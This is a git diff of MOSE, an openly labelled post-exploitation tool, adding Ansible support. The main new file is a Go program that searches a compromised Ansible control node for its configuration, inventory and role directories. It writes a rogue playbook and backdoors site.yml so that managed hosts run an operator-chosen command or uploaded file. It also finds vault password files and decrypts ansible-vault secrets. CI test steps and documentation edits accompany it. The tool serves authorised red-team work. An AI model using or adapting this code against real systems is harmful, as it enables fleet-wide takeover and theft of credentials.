diff --git a/.gitignore b/.gitignore index 5e5d4e0..6c98915 100644 --- a/.gitignore +++ b/.gitignore @@ -16,6 +16,7 @@ knife.rb /mose chef-linux puppet-linux +ansible-linux # Application-generated folders payloads/ diff --git a/EXAMPLES.md b/EXAMPLES.md index 8caa75b..594f679 100644 --- a/EXAMPLES.md +++ b/EXAMPLES.md @@ -26,28 +26,23 @@ If you want to clean up after you're done, run the payload again with the `-c` o ## Instructions to upload and run a file This will allow you to specify a script or a binary that will be run on all target agents. -1. Put the file that you want to run in the `payloads` directory. For example: -``` -echo 'echo test' > payloads/notevil.sh -``` - -2. Run MOSE with the following options: +1. Run MOSE with the following options: ``` ./mose -fu -t ``` For example: ``` -./mose -fu ${PWD}/payloads/notevil.sh -t puppet +./mose -fu /tmp/notevil.sh -t puppet ``` -3. On the target, download the payload that is being served (assuming you opted to have MOSE serve it for you) and give it execute permissions. +2. On the target, download the payload that is being served (assuming you opted to have MOSE serve it for you) and give it execute permissions. -4. Extract the payload: +3. Extract the payload: ``` tar -vxf files.tar ``` -5. Run the payload: +4. Run the payload: ``` ./- ``` diff --git a/Makefile b/Makefile index 9f45e09..27fb7f3 100644 --- a/Makefile +++ b/Makefile @@ -16,19 +16,25 @@ fmt: ## gofmt and goimports all go files find . -name '*.go' -not -wholename './vendor/*' | while read -r file; do gofmt -w -s "$$file"; goimports -w "$$file"; done lint: ## Run all the linters - gometalinter --vendor --disable-all \ + golangci-lint run \ + --no-config \ + --issues-exit-code=0 \ + --timeout=30m \ + --disable-all \ --enable=deadcode \ - --enable=ineffassign \ - --enable=staticcheck \ - --enable=gofmt \ - --enable=goimports \ - --enable=dupl \ - --enable=misspell \ + --enable=gocyclo \ + --enable=golint \ + --enable=varcheck \ + --enable=structcheck \ + --enable=maligned \ --enable=errcheck \ - --enable=vet \ - --enable=vetshadow \ - --deadline=10m \ - ./... + --enable=dupl \ + --enable=ineffassign \ + --enable=interfacer \ + --enable=unconvert \ + --enable=goconst \ + --enable=gosec \ + --enable=megacheck markdownfmt -w README.md test: diff --git a/README.md b/README.md index b7d9c65..665aa56 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ Under the terms of Contract DE-NA0003525 with NTESS, the U.S. Government retains certain rights in this software -MOSE is a post exploitation tool that enables security professionals with little or no experience with configuration management (CM) technologies to leverage them to compromise environments. CM tools, such as [Puppet](https://puppet.com/) and [Chef](https://www.chef.io/), are used to provision systems in a uniform manner based on their function in a network. Upon successfully compromising a CM server, an attacker can use these tools to run commands on any and all systems that are in the CM server’s inventory. However, if the attacker does not have experience with these types of tools, there can be a very time-consuming learning curve. MOSE allows an operator to specify what they want to run without having to get bogged down in the details of how to write code specific to a proprietary CM tool. It also automatically incorporates the desired commands into existing code on the system, removing that burden from the user. MOSE allows the operator to choose which assets they want to target within the scope of the server’s inventory, whether this is a subset of clients or all clients. This is useful for targeting specific assets such as web servers, or choosing to take over all of the systems in the CM server’s inventory. +MOSE is a post exploitation tool that enables security professionals with little or no experience with configuration management (CM) technologies to leverage them to compromise environments. CM tools, such as [Puppet](https://puppet.com/), [Chef](https://www.chef.io/) and [Ansible](https://www.ansible.com/), are used to provision systems in a uniform manner based on their function in a network. Upon successfully compromising a CM server, an attacker can use these tools to run commands on any and all systems that are in the CM server’s inventory. However, if the attacker does not have experience with these types of tools, there can be a very time-consuming learning curve. MOSE allows an operator to specify what they want to run without having to get bogged down in the details of how to write code specific to a proprietary CM tool. It also automatically incorporates the desired commands into existing code on the system, removing that burden from the user. MOSE allows the operator to choose which assets they want to target within the scope of the server’s inventory, whether this is a subset of clients or all clients. This is useful for targeting specific assets such as web servers or choosing to take over all of the systems in the CM server’s inventory. ## MOSE + Puppet ![](docs/images/mose_and_puppet.gif) @@ -69,7 +69,7 @@ Usage of ./mose [options]: ### TLS Certificates **You should generate and use a TLS certificate signed by a trusted Certificate Authority** -A self-signed certificate and key are provided for you, although you really shouldn't use them. This key and certificate are widely distributed, so you can not expect privacy if you do choose to use them. They can be found in the `data` directory. +A self-signed certificate and key are provided for you, although you really shouldn't use them. This key and certificate are widely distributed, so you can not expect privacy if you do choose to use them. They can be found in the `data` directory. ### Examples You can find some examples of how to run MOSE in [EXAMPLES.md](EXAMPLES.md). @@ -78,6 +78,8 @@ You can find some examples of how to run MOSE in [EXAMPLES.md](EXAMPLES.md). Test labs that can be run with MOSE are at these locations: - https://github.com/master-of-servers/puppet-test-lab - https://github.com/master-of-servers/chef-test-lab + - https://github.com/master-of-servers/ansible-test-lab + - https://github.com/master-of-servers/salt-test-lab ### Credits The following resources were used to help motivate the creation of this project: diff --git a/azure-pipelines.yml b/azure-pipelines.yml index ba68a18..f226097 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -61,7 +61,7 @@ steps: # Enroll agent with puppet master docker exec -i basic-puppetagent /bin/bash -c "puppet agent -t --waitforcert=120" docker ps - displayName: 'Build and configure puppet test environment' + displayName: 'Build and configure the puppet test environment' workingDirectory: "$(modulePath)" - script: | @@ -75,29 +75,29 @@ steps: # Ensure that MOSE is working properly by running cat on the file it created docker exec -i basic-puppetagent /bin/bash -c "cat /tmp/test.txt" - displayName: 'Run MOSE generated payload on puppet test environment' + displayName: 'Run MOSE generated payload on the puppet test environment' workingDirectory: "$(modulePath)" - script: | echo 'echo testing file upload > /tmp/file_upload_test.txt' > payloads/notevil.sh export GO111MODULE=on - ./mose -fu ${PWD}/payloads/notevil.sh -t puppet -f ${PWD}/payloads/puppet-linux + ./mose -fu payloads/notevil.sh -t puppet -f payloads/puppet-linux displayName: 'Generate a puppet payload to test file upload' workingDirectory: "$(modulePath)" - script: | # Copy MOSE payload to puppet master - docker cp $(modulePath)/payloads/files.tar basic-puppetmaster:/files.tar + docker cp $(modulePath)/payloads/puppet-linux.tar basic-puppetmaster:/puppet-linux.tar # Run MOSE against the puppet master - docker exec -i basic-puppetmaster /bin/bash -c "tar -xvf files.tar" + docker exec -i basic-puppetmaster /bin/bash -c "tar -xvf puppet-linux.tar" docker exec -i basic-puppetmaster /bin/bash -c "echo 'Y' | /puppet-linux" # Run puppet agent -t to enact the changes made by MOSE docker exec -i basic-puppetagent /bin/bash -c "puppet agent -t" # Ensure that MOSE is working properly by running cat on the file it created docker exec -i basic-puppetagent /bin/bash -c "cat /tmp/file_upload_test.txt" - displayName: 'Run MOSE generated file upload payload on puppet test environment' + displayName: 'Run MOSE generated file upload payload on the puppet test environment' workingDirectory: "$(modulePath)" # End Puppet @@ -108,7 +108,7 @@ steps: sudo apt-get install -y expect export GO111MODULE=on expect scripts/test_chef_workstation.exp - displayName: 'Generate a chef payload for workstation in chef test environment' + displayName: 'Generate a chef payload for workstation in the chef test environment' workingDirectory: "$(modulePath)" - script: | @@ -120,7 +120,7 @@ steps: echo "Sleeping for 12 minutes (720 seconds) while waiting for the chef environment to finish building." sleep 720 docker ps - displayName: 'Build and configure chef test environment' + displayName: 'Build and configure the chef test environment' workingDirectory: "$(modulePath)" - script: | @@ -142,7 +142,7 @@ steps: # Ensure that MOSE is working properly by running cat on the file it created docker exec -i basic-chef-agent-1 /bin/bash -c "cat /tmp/test.txt" - displayName: 'Run MOSE generated payload on workstation in chef test environment' + displayName: 'Run MOSE generated payload on workstation in the chef test environment' workingDirectory: "$(modulePath)" - script: | @@ -154,22 +154,111 @@ steps: - script: | # Copy MOSE payload to workstation - docker cp $(modulePath)/payloads/files.tar basic-chef-workstation:/files.tar + docker cp $(modulePath)/payloads/chef-linux.tar basic-chef-workstation:/chef-linux.tar # Run MOSE against the workstation - docker exec -i basic-chef-workstation /bin/bash -c "tar -xvf files.tar" + docker exec -i basic-chef-workstation /bin/bash -c "tar -xvf chef-linux.tar" docker exec -i basic-chef-workstation /bin/bash -c "echo 'n' | /chef-linux" # Run chef-client to enact the changes made by MOSE docker exec -i basic-chef-agent-1 /bin/bash -c "chef-client" # Ensure that MOSE is working properly by running cat on the file it created docker exec -i basic-chef-agent-1 /bin/bash -c "cat /tmp/file_upload_test.txt" - displayName: 'Run MOSE generated file upload payload on workstation in chef test environment' + displayName: 'Run MOSE generated file upload payload on workstation in the chef test environment' workingDirectory: "$(modulePath)" # End Chef -# - script: | -# export GO111MODULE=on -# go test -count=1 -v -race ./... -# displayName: 'Run unit tests' -# workingDirectory: "$(modulePath)" \ No newline at end of file +# Ansible +- script: | + export GO111MODULE=on + ./mose -c "touch /tmp/test.txt && echo test >> /tmp/test.txt" -t ansible -f $(modulePath)/payloads/ansible-linux + displayName: 'Generate an ansible payload' + workingDirectory: "$(modulePath)" + +- script: | + git clone https://github.com/master-of-servers/ansible-test-lab.git + cd ansible-test-lab && cd basic + bash files/create_ssh_key.sh + cp files/authorized_keys control/files + cp files/id_rsa control/files + cp files/id_rsa.pub control/files + cp files/authorized_keys managed/files + cp files/id_rsa managed/files + cp files/id_rsa.pub managed/files + docker-compose up -d --force-recreate --build + echo "Decrypting the vault file" + docker exec -i basic-control-node ansible-vault decrypt /root/.ansible/group_vars/vault + docker exec -i basic-control-node cat /root/.ansible/group_vars/vault + echo "Encrypting the vault file" + docker exec -i basic-control-node ansible-vault encrypt /root/.ansible/group_vars/vault + docker exec -i basic-control-node cat /root/.ansible/group_vars/vault + echo "Applying the hello playbook to the managed node" + docker exec -i basic-control-node bash -c "cd ~/.ansible && ansible-playbook site.yml" + displayName: 'Build and configure the ansible test environment' + workingDirectory: "$(modulePath)" + +- script: | + # Copy MOSE payload to ansible control node + docker cp $(modulePath)/payloads/ansible-linux basic-control-node:/ansible-linux + docker cp scripts/test_ansible_cmd.exp basic-control-node:/ + + # Run MOSE against the control node + docker exec -i basic-control-node /bin/bash -c "apt-get update -y" + docker exec -i basic-control-node /bin/bash -c "DEBIAN_FRONTEND=noninteractive apt-get install -y tzdata" + docker exec -i basic-control-node /bin/bash -c "apt-get install -y expect" + docker exec -i basic-control-node /bin/bash -c "expect /test_ansible_cmd.exp" + + # Run ansible-cookbook to enact the changes made by MOSE + docker exec -i basic-control-node /bin/bash -c "ansible-playbook /root/.ansible/site.yml" + + # Ensure that MOSE is working properly by running cat on the file it created + docker exec -i basic-managed-node /bin/bash -c "cat /tmp/test.txt" + displayName: 'Run MOSE generated payload on the ansible test environment' + workingDirectory: "$(modulePath)" + +- script: | + echo 'echo testing file upload > /tmp/file_upload_test.txt' > payloads/notevil.sh + export GO111MODULE=on + ./mose -fu payloads/notevil.sh -t ansible -f payloads/ansible-linux + displayName: 'Generate an ansible payload to test file upload' + workingDirectory: "$(modulePath)" + +- script: | + # Copy MOSE payload to ansible control node + docker cp $(modulePath)/payloads/ansible-linux.tar basic-control-node:/ansible-linux.tar + # Copy MOSE payload to ansible control node + docker cp scripts/test_ansible_file_upload.exp basic-control-node:/ + + # Run MOSE against the control node + docker exec -i basic-control-node /bin/bash -c "tar -xvf /ansible-linux.tar" + docker exec -i basic-control-node /bin/bash -c "expect /test_ansible_file_upload.exp" + + # Run ansible-cookbook to enact the changes made by MOSE + docker exec -i basic-control-node /bin/bash -c "ansible-playbook /root/.ansible/site.yml" + + # Ensure that MOSE is working properly by running cat on the file it created + docker exec -i basic-managed-node /bin/bash -c "cat /tmp/test.txt" + displayName: 'Run MOSE generated file upload payload on the ansible test environment' + workingDirectory: "$(modulePath)" +# End Ansible + +# Salt +- script: | + git clone https://github.com/master-of-servers/salt-test-lab.git + cd salt-test-lab && cd basic + docker-compose up -d --build + sleep 60 + # Fix pillar issue + docker exec -it basic-salt-master /bin/bash -c "salt '*' saltutil.refresh_pillar" + # Enroll minion with salt master + docker exec -i basic-salt-master /bin/bash -c "salt '*' state.apply" + docker exec -i basic-salt-master /bin/bash -c "salt '*' pillar.items" + displayName: 'Build and configure salt test environment' + workingDirectory: "$(modulePath)" +# End Salt + +- script: | + export GO111MODULE=on + go test -count=1 -v -race ./... + displayName: 'Run unit tests' + workingDirectory: "$(modulePath)" \ No newline at end of file diff --git a/cmd/mose/ansible/main.go b/cmd/mose/ansible/main.go new file mode 100644 index 0000000..c57be71 --- /dev/null +++ b/cmd/mose/ansible/main.go @@ -0,0 +1,645 @@ +// Copyright 2020 National Technology & Engineering Solutions of Sandia, LLC (NTESS). +// Under the terms of Contract DE-NA0003525 with NTESS, +// the U.S. Government retains certain rights in this software. + +package main + +import ( + "flag" + "fmt" + "log" + "os" + "path/filepath" + "regexp" + "strings" + "text/template" + + "github.com/ghodss/yaml" + "github.com/gobuffalo/packr/v2" + utils "github.com/l50/goutils" + "github.com/master-of-servers/mose/pkg/moseutils" +) + +type command struct { + Cmd string + CmdName string + FileName string + FilePath string +} + +type ansibleFiles struct { + cfgFile string + hostFiles []string + hosts []string + playbookDirs []string + siteFile string + vaultFile string + uid int + gid int +} + +type ansible []struct { + Name string `json:"name,omitempty"` + Connection interface{} `json:"connection,omitempty"` + Vars map[string]interface{} `json:"vars,omitempty,flow"` + Remote string `json:"remote_user,omitempty"` + BecomeMethod string `json:"become_method,omitempty"` + Hosts string `json:"hosts,omitempty"` + Become bool `json:"become,omitempty"` + GatherFacts string `json:"gather_facts,omitempty"` + Include string `json:"include,omitempty"` + Tags []interface{} `json:"tags,omitempty,flow"` + Roles []interface{} `json:"roles,flow,omitempty"` + Tasks []interface{} `json:"tasks,flow,omitempty"` +} + +var ( + a = CreateAgent() + ansibleBackupLoc = a.AnsibleBackupLoc + cleanup bool + cleanupFile = a.CleanupFile + debug = a.Debug + files = ansibleFiles{ + cfgFile: "", + hostFiles: []string{}, + playbookDirs: []string{}, + siteFile: "", + vaultFile: "", + uid: -1, + gid: -1, + } + osTarget = a.OsTarget + ansibleRole = a.PayloadName + uploadFileName = a.FileName + uploadFilePath = a.RemoteUploadFilePath + specific bool +) + +func init() { + flag.BoolVar(&cleanup, "c", false, "Activate cleanup using the file location in settings.json") + flag.Parse() +} + +func doCleanup(siteLoc string) { + moseutils.TrackChanges(cleanupFile, cleanupFile) + ans, err := moseutils.AskUserQuestion("Would you like to remove all files associated with a previous run? ", osTarget) + if err != nil { + log.Fatalln(err) + } + moseutils.RemoveTracker(cleanupFile, osTarget, ans) + + path := siteLoc + if ansibleBackupLoc != "" { + path = filepath.Join(ansibleBackupLoc, filepath.Base(siteLoc)) + } + + path = path + ".bak.mose" + + if !moseutils.FileExists(path) { + moseutils.Info("Backup file %s does not exist, skipping", path) + } + ans2 := false + if !ans { + ans2, err = moseutils.AskUserQuestion(fmt.Sprintf("Overwrite %s with %s", siteLoc, path), osTarget) + if err != nil { + log.Fatal("Quitting...") + } + } + if ans || ans2 { + moseutils.CpFile(path, siteLoc) + os.Remove(path) + } + os.Exit(0) +} + +func getSiteFile() string { + var siteLoc string + fileList, _ := moseutils.GetFileAndDirList([]string{"/"}) + for _, file := range fileList { + if strings.Contains(file, "site.yml") && !strings.Contains(file, "~") && + !strings.Contains(file, ".bak") && !strings.Contains(file, "#") { + siteLoc = file + } + } + if siteLoc == "" { + moseutils.ErrMsg("Unable to locate a site.yml file.") + } + return siteLoc +} + +func getCfgFile() string { + var cfgLoc string + fileList, _ := moseutils.GetFileAndDirList([]string{"/"}) + for _, file := range fileList { + matched, _ := regexp.MatchString(`ansible.cfg$`, file) + if matched && !strings.Contains(file, "~") && + !strings.Contains(file, ".bak") && !strings.Contains(file, "#") && + !strings.Contains(file, "test") { + cfgLoc = file + } + } + if cfgLoc == "" { + moseutils.ErrMsg("Unable to locate an ansible.cfg file.") + } + return cfgLoc +} + +func getPlaybooks() []string { + locations := make(map[string]bool) + var playbookDirs []string + + _, dirList := moseutils.GetFileAndDirList([]string{"/"}) + for _, dir := range dirList { + d := filepath.Dir(dir) + if strings.Contains(d, "roles") && !strings.Contains(d, "~") && + !strings.Contains(d, ".bak") && !strings.Contains(d, "#") && + !strings.Contains(d, "tasks") && !strings.Contains(d, "vars") { + + if !locations[d] && filepath.Base(d) == "roles" { + locations[d] = true + } + } + } + for loc := range locations { + playbookDirs = append(playbookDirs, loc) + } + + return playbookDirs +} + +func getHostFileFromCfg() (bool, string) { + cfgFile, err := moseutils.File2lines(files.cfgFile) + if err != nil { + moseutils.ErrMsg("Unable to read %v because of %v", files.cfgFile, err) + } + for _, line := range cfgFile { + matched, _ := regexp.MatchString(`^inventory.*`, line) + if matched { + if debug { + log.Printf("Found inventory specified in ansible.cfg: %v", files.cfgFile) + } + inventoryPath := strings.TrimSpace(strings.SplitAfter(line, "=")[1]) + path, err := moseutils.CreateFilePath(inventoryPath, filepath.Dir(files.cfgFile)) + if err != nil { + moseutils.ErrMsg("Unable to generate correct path from input: %v %v", inventoryPath, filepath.Dir(files.cfgFile)) + } + return true, path + } + } + return false, "" +} + +func getHostFiles() []string { + var hostFiles []string + + // Check if host file specified in the ansible.cfg file + found, hostFile := getHostFileFromCfg() + if found { + hostFiles = append(hostFiles, hostFile) + } + + fileList, _ := moseutils.GetFileAndDirList([]string{"/etc/ansible"}) + for _, file := range fileList { + if strings.Contains(file, "hosts") && !strings.Contains(file, "~") && + !strings.Contains(file, ".bak") && !strings.Contains(file, "#") { + hostFiles = append(hostFiles, file) + } + } + return hostFiles +} + +func getManagedSystems() []string { + var hosts []string + for _, hostFile := range files.hostFiles { + // Get the contents of the hostfile into a slice + contents, err := moseutils.File2lines(hostFile) + if err != nil { + moseutils.ErrMsg("Unable to read %v because of %v", hostFile, err) + } + // Add valid lines with IP addresses or hostnames to hosts + for _, line := range contents { + ip, _ := regexp.MatchString(`^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$`, line) + validHostname, _ := regexp.MatchString(`^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\-]*[A-Za-z0-9])$`, line) + if ip || validHostname { + hosts = append(hosts, line) + } + } + } + return hosts +} + +func createPlaybookDirs(playbookDir string, ansibleCommand command) { + var err error + var fileDir string + err = os.MkdirAll(filepath.Join(playbookDir, ansibleCommand.CmdName, "tasks"), os.ModePerm) + + if err != nil { + log.Printf("Error creating the %s playbook directory: %v", playbookDir, err) + } + + if uploadFileName != "" { + fileDir = filepath.Join(playbookDir, ansibleCommand.CmdName, "files") + err = os.MkdirAll(fileDir, os.ModePerm) + + if err != nil { + log.Printf("Error creating the %s playbook directory: %v", fileDir, err) + } + + _, err := moseutils.TrackChanges(cleanupFile, uploadFilePath) + + if err != nil { + moseutils.ErrMsg("Error tracking changes: ", err) + } + + moseutils.CpFile(uploadFilePath, filepath.Join(fileDir, filepath.Base(uploadFileName))) + if err := os.Chmod(filepath.Join(fileDir, filepath.Base(uploadFileName)), 0644); err != nil { + log.Printf("Failed to set the permissions for %v: %v", uploadFileName, err) + } + moseutils.Msg("Successfully copied and set permissions for %s", filepath.Join(fileDir, filepath.Base(uploadFileName))) + } +} + +func backupSiteFile() { + path := files.siteFile + // If a backup location is specified in the settings.json, use it + if ansibleBackupLoc != "" { + var err error + err = os.MkdirAll(ansibleBackupLoc, os.ModePerm) + + if err != nil { + log.Printf("Error creating the path (%s) for the backup: %v", path, err) + } + + path = filepath.Join(ansibleBackupLoc, filepath.Base(files.siteFile)) + } + if !moseutils.FileExists(path + ".bak.mose") { + moseutils.CpFile(files.siteFile, path+".bak.mose") + if files.uid != -1 && files.gid != -1 { + err := os.Chown(path+".bak.mose", files.uid, files.gid) + if err != nil { + moseutils.ErrMsg("issues changing owner of backup file") + } + } + } else { + moseutils.ErrMsg("Backup of the site.yml file already exists (%v.bak.mose), moving on.", path) + } +} + +func generatePlaybooks() { + ansibleCommand := command{ + CmdName: a.PayloadName, + Cmd: a.Cmd, + FileName: uploadFileName, + FilePath: uploadFilePath, + } + for _, playbookDir := range files.playbookDirs { + var s string + createPlaybookDirs(playbookDir, ansibleCommand) + + box := packr.New("Ansible", "../../../templates/ansible") + + s, err := box.FindString("ansiblePlaybook.tmpl") + + if err != nil { + log.Fatalf("Error reading the template to create a playbook: %v, exiting...", err) + } + + if uploadFileName != "" { + s, err = box.FindString("ansibleFileUploadPlaybook.tmpl") + + if err != nil { + log.Fatalf("Error reading the file upload template to create a playbook: %v, exiting...", err) + } + } + + // Parse the template + t, err := template.New("ansiblePlaybook").Parse(s) + + if err != nil { + log.Fatalf("Error creating the template representation of the ansible playbook: %v, exiting...", err) + } + + // Create the main.yml file + f, err := os.Create(filepath.Join(playbookDir, ansibleCommand.CmdName, "tasks", "main.yml")) + + if err != nil { + log.Fatalf("Error creating the main.yml file: %v, exiting...", err) + } + + // Write the contents of ansibleCommand into the main.yml file generated previously + err = t.Execute(f, ansibleCommand) + + if err != nil { + log.Fatalf("Error injecting the ansibleCommand content into the playbook template: %v", err) + } + + f.Close() + if debug { + log.Printf("Creating rogue playbook %s", playbookDir) + } + moseutils.Msg("Successfully created the %s playbook at %s", ansibleCommand.CmdName, playbookDir) + + _, err = moseutils.TrackChanges(cleanupFile, filepath.Join(playbookDir, ansibleCommand.CmdName)) + + if err != nil { + moseutils.ErrMsg("Error tracking changes: ", err) + } + + if debug { + log.Printf("Attempting to change ownership of directory") + } + if files.uid != -1 && files.gid != -1 { + err := moseutils.ChownR(filepath.Join(playbookDir, ansibleCommand.CmdName), files.uid, files.gid) + if err != nil { + moseutils.ErrMsg("issues changing owner of backup file") + } + } + } +} + +func writeYamlToSite(siteYaml ansible) { + marshalled, err := yaml.Marshal(&siteYaml) + if err != nil { + log.Fatal(err) + } + + err = moseutils.WriteBytesToFile(files.siteFile, marshalled, 0644) + if err != nil { + log.Fatalf("Error writing %v to %v because of: %v, exiting.", marshalled, files.siteFile, err) + } + moseutils.Msg("Added backdoored code to %s", files.siteFile) +} + +func validateIndicies(data ansible) map[int]bool { + validIndices := make(map[int]bool, 0) + for i, hosts := range data { + roles := make([]string, 0) + if hosts.Include == "" { + for _, item := range hosts.Roles { + switch r := item.(type) { + case map[string]interface{}: + roles = append(roles, r["role"].(string)) + case string: + roles = append(roles, r) + default: + if debug { + log.Println("Should not make it here in validateIndicies") + } + } + } + moseutils.Msg("[%v] Name: %v, Hosts: %v, Roles: %v", i, hosts.Name, hosts.Hosts, roles) + validIndices[i] = true + } + } + return validIndices +} + +func backdoorSiteFile() { + var hosts []string + hostAllFound := false + + bytes, err := moseutils.ReadBytesFromFile(files.siteFile) + if err != nil { + log.Fatal(err) + } + + unmarshalled := ansible{} + err = yaml.Unmarshal(bytes, &unmarshalled) + if err != nil { + log.Fatal(err) + } + + for _, host := range unmarshalled { + hosts = append(hosts, host.Hosts) + if strings.Compare(host.Hosts, "all") == 0 { + hostAllFound = true + } + } + + if hostAllFound { + if debug { + log.Println("hosts:all found") + } + if ans, err := moseutils.AskUserQuestion("Would you like to target all managed hosts? ", a.OsTarget); ans && err == nil { + for i, item := range unmarshalled { + if strings.Compare(item.Hosts, "all") == 0 { + moseutils.Msg("Existing configuration for all hosts found, adding rogue playbook to associated roles") + if unmarshalled[i].Roles == nil { + unmarshalled[i].Roles = make([]interface{}, 0) + } + unmarshalled[i].Roles = append(unmarshalled[i].Roles, ansibleRole) + writeYamlToSite(unmarshalled) + return + } + } + } else if err != nil { + log.Fatalf("Quitting...") + } + } + + if !hostAllFound { + if debug { + log.Printf("No existing configuration for all founds host in %v", files.siteFile) + } + roles := make([]interface{}, 0) + roles = append(roles, ansibleRole) + if ans, err := moseutils.AskUserQuestion("Would you like to target all managed nodes? ", a.OsTarget); ans && err == nil { + newItem := ansible{{ + a.PayloadName, + nil, + nil, + "", + "", + "all", + true, + "", + "", + nil, + roles, + nil, + }} + unmarshalled = append(unmarshalled, newItem[0]) + writeYamlToSite(unmarshalled) + return + } else if err != nil { + log.Fatalf("Error targeting all managed nodes: %v, exiting.", err) + } + } + moseutils.Info("The following roles were found in the site.yml file: ") + validIndices := validateIndicies(unmarshalled) + + if ans, err := moseutils.IndexedUserQuestion("Provide the index of the location that you want to inject into the site.yml (ex. 1,3,...):", a.OsTarget, validIndices, func() { validateIndicies(unmarshalled) }); err == nil { + for i := range unmarshalled { + // Check if the specified location is in the answer + if ans[i] { + if unmarshalled[i].Roles == nil { + unmarshalled[i].Roles = make([]interface{}, 0) + } + unmarshalled[i].Roles = append(unmarshalled[i].Roles, ansibleRole) + } + } + } else if err != nil { + log.Fatalf("Failure injecting into the site.yml file: %v, exiting.", err) + } + writeYamlToSite(unmarshalled) +} + +func findVaultSecrets() { + found, fileLoc := moseutils.FindFile("ansible-vault", []string{"/bin", "/usr/bin", "/usr/local/bin", "/etc/anisble"}) + if found { + envPass := os.Getenv("ANSIBLE_VAULT_PASSWORD_FILE") + envFileExists, envFile := getVaultPassFromCfg() + + ansibleFiles, _ := moseutils.FindFiles([]string{"/etc/ansible", "/root", "/home", "/opt", "/var"}, []string{".yaml", ".yml"}, []string{"vault"}, []string{}) + + if len(ansibleFiles) == 0 { + moseutils.ErrMsg("Unable to find any yaml files") + return + } + // Matches for secrets + reg := regexp.MustCompile(`(?ms)\$ANSIBLE_VAULT`) + // Translate secrets on the fly + for _, file := range ansibleFiles { + matches := moseutils.GrepFile(file, reg) + if debug { + log.Printf("Checking if secret in file %v", file) + } + if len(matches) > 0 { + if envPass != "" { + moseutils.Msg("Found secret(s) in file: %s", file) + res, err := utils.RunCommand(fileLoc, "view", + "--vault-password-file", + envPass, + file) + + if err != nil { + moseutils.ErrMsg("Error running command: %s view %s %s %v", fileLoc, envPass, file, err) + } + if !strings.Contains(res, "ERROR!") { + moseutils.Msg("%s", res) + } + } + + if envFileExists && envFile != envPass { + moseutils.Msg("Found secret(s) in file: %s", file) + res, err := utils.RunCommand(fileLoc, "view", + "--vault-password-file", + envFile, + file) + + if err != nil { + moseutils.ErrMsg("Error running command: %s view --vault-password-file %s %s %v", fileLoc, envFile, file, err) + } + if !strings.Contains(res, "ERROR!") { + moseutils.Msg("%s", res) + } + } + } + } + } +} + +func getVaultPassFromCfg() (bool, string) { + cfgFile, err := moseutils.File2lines(files.cfgFile) + if err != nil { + moseutils.ErrMsg("Unable to read %v because of %v", files.cfgFile, err) + } + for _, line := range cfgFile { + matched, _ := regexp.MatchString(`^vault_password_file.*`, line) + if matched { + if debug { + log.Printf("Found vault_password_file specified in ansible.cfg: %v", files.cfgFile) + } + vaultPath := strings.TrimSpace(strings.SplitAfter(line, "=")[1]) + path, err := moseutils.CreateFilePath(vaultPath, filepath.Dir(files.cfgFile)) + if err != nil { + moseutils.ErrMsg("Unable to generate correct path from input: %v %v", vaultPath, filepath.Dir(files.cfgFile)) + } + return true, path + } + } + return false, "" +} + +func main() { + if uploadFileName != "" { + moseutils.CpFile(uploadFileName, uploadFilePath) + _, err := moseutils.TrackChanges(cleanupFile, uploadFileName) + + if err != nil { + moseutils.ErrMsg("Error tracking changes: ", err) + } + } + + // Find site.yml + files.siteFile = getSiteFile() + if debug { + log.Printf("Site file: %v", files.siteFile) + } + + uid, gid, err := moseutils.GetUIDGid(files.siteFile) + if err != nil { + moseutils.ErrMsg("Error retrieving uid and gid of file, will default to root") + } + + files.uid = uid + files.gid = gid + + if cleanup { + doCleanup(files.siteFile) + } + + // Find ansible.cfg + files.cfgFile = getCfgFile() + if debug { + log.Printf("Ansible config file location: %v", files.cfgFile) + } + + // Find where playbooks are located on the target system + files.playbookDirs = getPlaybooks() + if debug { + log.Printf("Directories with playbooks: %v", files.playbookDirs) + } + + // Find host files + files.hostFiles = getHostFiles() + if debug { + log.Printf("Host files found: %v", files.hostFiles) + } + + // Parse managed systems from the hosts files found previously + files.hosts = getManagedSystems() + if len(files.hosts) > 0 { + moseutils.Info("The following managed systems were found: %v", files.hosts) + } + + if files.siteFile != "" { + if ans, err := moseutils.AskUserQuestion("Do you want to create a backup of the manifests? This can lead to attribution, but can save your bacon if you screw something up or if you want to be able to automatically clean up. ", a.OsTarget); ans && err == nil { + backupSiteFile() + } else if err != nil { + log.Fatal("Exiting...") + } + } + + // Create rogue playbooks using ansiblePlaybook.tmpl + generatePlaybooks() + + moseutils.Msg("Backdooring %v to run %s on all managed systems, please wait...", files.siteFile, a.Cmd) + backdoorSiteFile() + + if debug { + fmt.Printf("Changing owner of the backup file to uid %v\n", files.uid) + } + if files.uid != -1 && files.gid != -1 { + err := os.Chown(files.siteFile, files.uid, files.gid) + if err != nil { + log.Printf("Failed to change owner of the backup file: %v\n", err) + } + } + + // find secrets is ansible-vault is installed + moseutils.Info("Attempting to find secrets, please wait...") + findVaultSecrets() + moseutils.Msg("MOSE has finished, exiting.") + os.Exit(0) +} diff --git a/cmd/mose/chef/main.go b/cmd/mose/chef/main.go index 5c91b42..894ecc8 100644 --- a/cmd/mose/chef/main.go +++ b/cmd/mose/chef/main.go @@ -194,7 +194,8 @@ func createCookbook(cookbooksLoc string, cookbookName string, cmd string) bool { moseutils.Msg("Successfully created files directory at location %s for file %s", filesLoc, uploadFileName) // Maybe assume it isn't in current directory? - moseutils.CpFile(uploadFileName, filepath.Join(filesLoc, filepath.Base(uploadFileName))) + _ = moseutils.CpFile(uploadFileName, filepath.Join(filesLoc, filepath.Base(uploadFileName))) + _, err = moseutils.TrackChanges(cleanupFile, uploadFilePath) if err != nil { @@ -204,7 +205,7 @@ func createCookbook(cookbooksLoc string, cookbookName string, cmd string) bool { if err := os.Chmod(filepath.Join(filesLoc, filepath.Base(uploadFileName)), 0644); err != nil { log.Fatal(err) } - moseutils.Msg("Successfully copied and chmod file %s", filepath.Join(filesLoc, filepath.Base(uploadFileName))) + moseutils.Msg("Successfully copied and set permissions for %s", filepath.Join(filesLoc, filepath.Base(uploadFileName))) } } @@ -525,7 +526,7 @@ func main() { // If we're not root, we probably can't backdoor any of the chef code, so exit utils.CheckRoot() - chefFiles, chefDirs := 